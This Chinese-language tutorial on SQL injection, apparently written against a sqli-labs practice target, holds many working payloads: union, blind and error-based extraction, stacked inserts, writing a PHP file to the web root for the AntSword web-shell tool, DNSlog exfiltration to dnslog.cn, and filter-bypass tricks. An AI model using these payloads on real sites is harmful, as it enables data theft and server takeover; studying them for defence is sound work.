SQL注入漏洞

SQL注入简介

SQL注入原理

​ SQL注入就是指web应用程序对用户输入的数据合法性没有过滤或者判断,前端传入的参数是攻击这可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的SQL语句来实现对数据库的任意操作。

SQL注入的危害

  • 数据库信息泄露
  • 网页篡改:通过操作数据库对特定网页进行篡改,嵌入网码链接,进行挂马攻击。
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账户被更改。
  • 服务器被远程控制:黑客可以修改或控制操作系统。
  • 种植木马:瘫痪全系统。

SQL注入常见攻击流程

  1. 判断是否存在注入
  2. 收集信息,判断数据库类型、版本
  3. 根据注入类型爆破库名,表名等
  4. 获取账号密码,上传文件

常用函数

  1. version() mysql版本
  2. database() 数据库名
  3. current_user() 当前用户名
  4. @@datadir 数据库路径
  5. @@basedir 数据库安装路径

注释

–空格 或者 –+(空格可以使用+代替(url编码%23表示注释))

/**/

SQL注入类型

联合查询注入

使用条件

当查询的数据会回显到页面时使用

注入过程

  1. order by 1-99 判断数据库表的字段数

    1
    2
    3
    ?id=1 order by 7报错
    ?id=1 order by 6不报错
    --> 则字段数为6
  2. union select 1,2,3,4,5,6 判断数据库表中哪些字段会回显

    1
    2
    3
    4
    ?id=-1 union select 1,2,3,4,5,6
    看到某个数字回显则在该位置进行查询
    假设回显46回显
    则可在46的位置进行查询
  3. 爆库名database() version() user() 等

    1
    ?id=-1 union select 1,2,3,database(),5,version()
  4. 爆表名

    1
    ?id=-1 union select 1,2,3,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database()
  5. 爆字段

    1
    ?id=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='test' and table_name='users'; 
  6. 爆数据

    1
    ?id=? union select 1,2,3,concat(id,password),5,6 from test.users limit 0,1;

高权限跨库注入

1
?id=-1 union select 1,2,3,concat(schema_name),5,6 from information_schema.schemata;
1
?id=-1 union select 1,2,3,concat(table_name),5,6 from information_schema.columns where table_schema='mysql';

报错注入

在MySQL中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端,从而从报错信息中获取设定的信息,select/insert/update/delete都可以使用报错来获取信息。

使用条件

后台没有屏蔽数据库报错信息

常用函数

  • extractvalue() ,updatexml() , exp() ,floor()
  • extractvalue(XML_document,XPath_string)
    • MySQL对XML文档数据进行查询的XPATH函数
    • XML_document:为XML文档对象的名称
    • XPATH_string:XPATH格式的字符串
  • updatexml(XML_document, XPath_string, new_value)
    • MySQL对XML文档数据进行查询和修改的XPATH函数
    • XML_document:XML文档对象的名称
    • Xpath_string:XPATH格式的字符串
    • new_value:替换查找到的符合条件的数据

payload

  • extractvalue()

    1
    extractvlaue(1,concat(0x7e,select database(),0x7e))
  • updatexml()

    1
    updatexml(1,concat(0x7e,select database(),0x7e),1)

完整的语句

1
?id=1 and updatexml(1,concat(0x7e,select database(),0x7e),1) --+

布尔盲注

​ 有些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断。这种情况下的注入称为盲注。

​ 盲注根据展现方式,分为Boolean型盲注时间型盲注

​ Boolean是基于真假的判断(True or False);不管输入什么,结果都只返回真或假两种情况,通过and 1=1and 1=2 可以发现注入点。

​ Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否。

多种格式在线加密解密 - ASCII\十进制\十六进制\二进制在线转换工具 (woj.app)

常用函数

  • 通过长度判断 length():length(database())>=20
  • 通过字符判断 substr():substr(database(),1,1)=’s’
  • 通过ascii码判断:ascii(substr(database(),1,1))=117

payload

判断数据库长度

1
length(database())>=1

截取数据库的第一个字符

1
substr(database(),1,1)='s'

把截取的字符转换成ASCII

1
ascii(substr(database(),1,1))=110

完整的语句

1
?id=1 and ascii(substr(select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)=1 --+

时间盲注

​ 代码存在SQL注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面内容来判断。这里我们就可以通过构造语句,通过页面响应的时长,来判断信息,这就是时间盲注。

原理

利用sleep()或benchmark()等函数让MySQL执行时间变长。经常与if(exp1,exp2,exp3)语句结合使用,通过页面的响应时间来判断条件是否正确。

常用函数

  • sleep(),benchmark()延迟函数
  • if(exp1,exp2,exp3):exp1==true?exp2:exp3;

payload

sleep()

1
?id=1 and sleep(5) --+

if()

1
2
3
if(length(database())>=4,sleep(5),1)
if(substr(database(),1,1)='a',sleep(5),1)
if(ascii(substr(database(),1,1))=117,sleep(5),1)

完整的语句

1
?id=1 and if(ascii(substr(database(),1,1))=117,sleep(5),1)

堆叠注入

在SQL中,分号 ; 是用来表示一条SQL语句的结束。在结束一个SQL语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而联合注入也是将两条语句合并在一起,两者之间的区别在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行任意语句。

使用条件

  1. 当使用mysql_multi_query()函数时,支持多条sql语句一起执行。一般使用mysqli_query()函数

  2. 使用PDO预编译时

    ​ PHP里面的PDO就是一个PHP语言的一个类,使用PDO对象连接数据库,就是在PHP中使用这个PDO类创建出来的一个对象,然后通过这个创建出来的对象来调用PDO类里面的各种各样的方法实现数据库的各种操作,而PDO这个类中的一些方法就可以进行一些字符的过滤保证安全性。

堆叠注入和联合注入的区别

union后只能跟select,而堆叠后面可以使用insert,update,create,delete等常规数据库语句。

payload

insert into

1
?id=1; insert into users(id,username,password) values('100','qqqq','23333')--+

二次注入

​ 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了sql注入。

步骤

  1. 插入恶意数据

    ​ 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

  2. 引用恶意数据

    ​ 开发者默认存入数据库的数据是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验处理。

宽字节注入

​ 一个gbk汉字占两个字节,第一个字节(129-254),第二个字节(64-254),当设置gbk编码后,遇到连续两个字节都符合gbk取值范围时会自动解析为一个汉字,从而把转义字符 \ 抵消掉。

header头部注入

cookie:

​ 通过cookie传输数据或cookie的值会拼接到SQL语句中

User-Agent

​ User-Agent的数据会拼接到SQL语句中

referer

​ referer的值会拼接到SQL语句中

高权限读写操作

条件

  • 需要用户有读写权限
  • 需要知道网站的绝对路径
  • secure_file_priv=””需要配置

常用函数

  • 写:into outfile
  • 读:load_file()

payload

into outfile

1
2
3
?id=1 union select 1,2,'<>',4,5 into outfile "C:\\phpstudy\\www\\a.php"--+
#蚁剑
https://www.yuque.com/antswordproject/antsword/wy7mqg

load_file

1
?id=-1 'union select 1,2,load_file("C:\\phpstudy\\www\\a.php"),4,5--+

DNSlog注入

条件

  • 需要有文件读写权限
  • 在my.ini文件中添加或修改为 secure_file_oriv=

DNSlog平台

注入过程

  1. 打开DNSlog平台获取到子域名

  2. 尝试外带sql记录

    1
    ?id=1 and load_file(concat("\\\\",version(),".yn3pf3.dnslog.cn\\yyyy")) --+
  3. 执行sql语句查询第一张表

    1
    ?id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 0,1),".dmgdyv.dnslog.cn\\yyyy")) --+

SQL注入绕过

注释绕过

1
2
3
4
5
6
1. --+
2. #
3. /**/
4. /*!union*/
5. /*!422444union*/ /*!50010select*/
案例 union /*!union*/ 1,2,3

大小写绕过

1
Union Select

双写绕过

1
2
3
union selselectect 1,2,3
aandnd
oorr

编码绕过

十六进制编码

1
select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479

ascii编码

1
select * from users where id=CHAR(49)

unicode编码

1
2
3
4
单引号:%u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27
空格:%u0020 %uff00 %c0%20 %c0%a0 %e0%80%
左括号:%u0028 %uff08 %c0%28 %c0%a8 %e0%80%
右括号:%u0029 %uff09 %c0%29 %c0%a9 %e0%80%

空格过滤绕过

1
2
3
4
/**/
()
回车:%0a
%20 %09 %0b %0c %0d %a0 %00 /**/ /*!*/

or或and绕过

1
2
3
4
5
and = &&
or = ||
xor = |
not = !
select * from users where id=1 && username='Dumb'

等号绕过

  • like替换

    1
    select * from users where username like "admin"
  • rlike:模糊匹配

    1
    select * from users where username rlike "ad"
  • regixp:正则匹配

    1
    select * from users where username regexp "admin3"
  • 大小写符号绕过

    1
    select * from users where username>'admin' and username<'admin3'
  • <>等价于!=,再取反就是等号

    1
    select * from users where !(username<> 'admin')

大于小于符号绕过

1
2
3
4
5
6
7
greatest(n1,n2,n3...)返回最大值
greatest(ascii(substr(str,1,1)),1) = 98
least(n1,n2,n3...)返回最小值
substr(str,1,1) in ('a')
between a and b
and substr(str,1,1) between 'a' and 'd'
select substr('xc',2,1) between 'a' and 'd'

宽字节绕过

1
id=1%df'

逗号绕过

1
2
3
mid(str,1,1) 等于mid(str from 1 for 1)
substr(str,1,1) 等于 substr(str from 1 for 1)
select * from users limit 0,1 等于limit 1 offset 1

等价函数替换

1
2
3
sleep()  --> benchmark()
ascii() --> hex(),bin()
group_concat() --> concat_ws()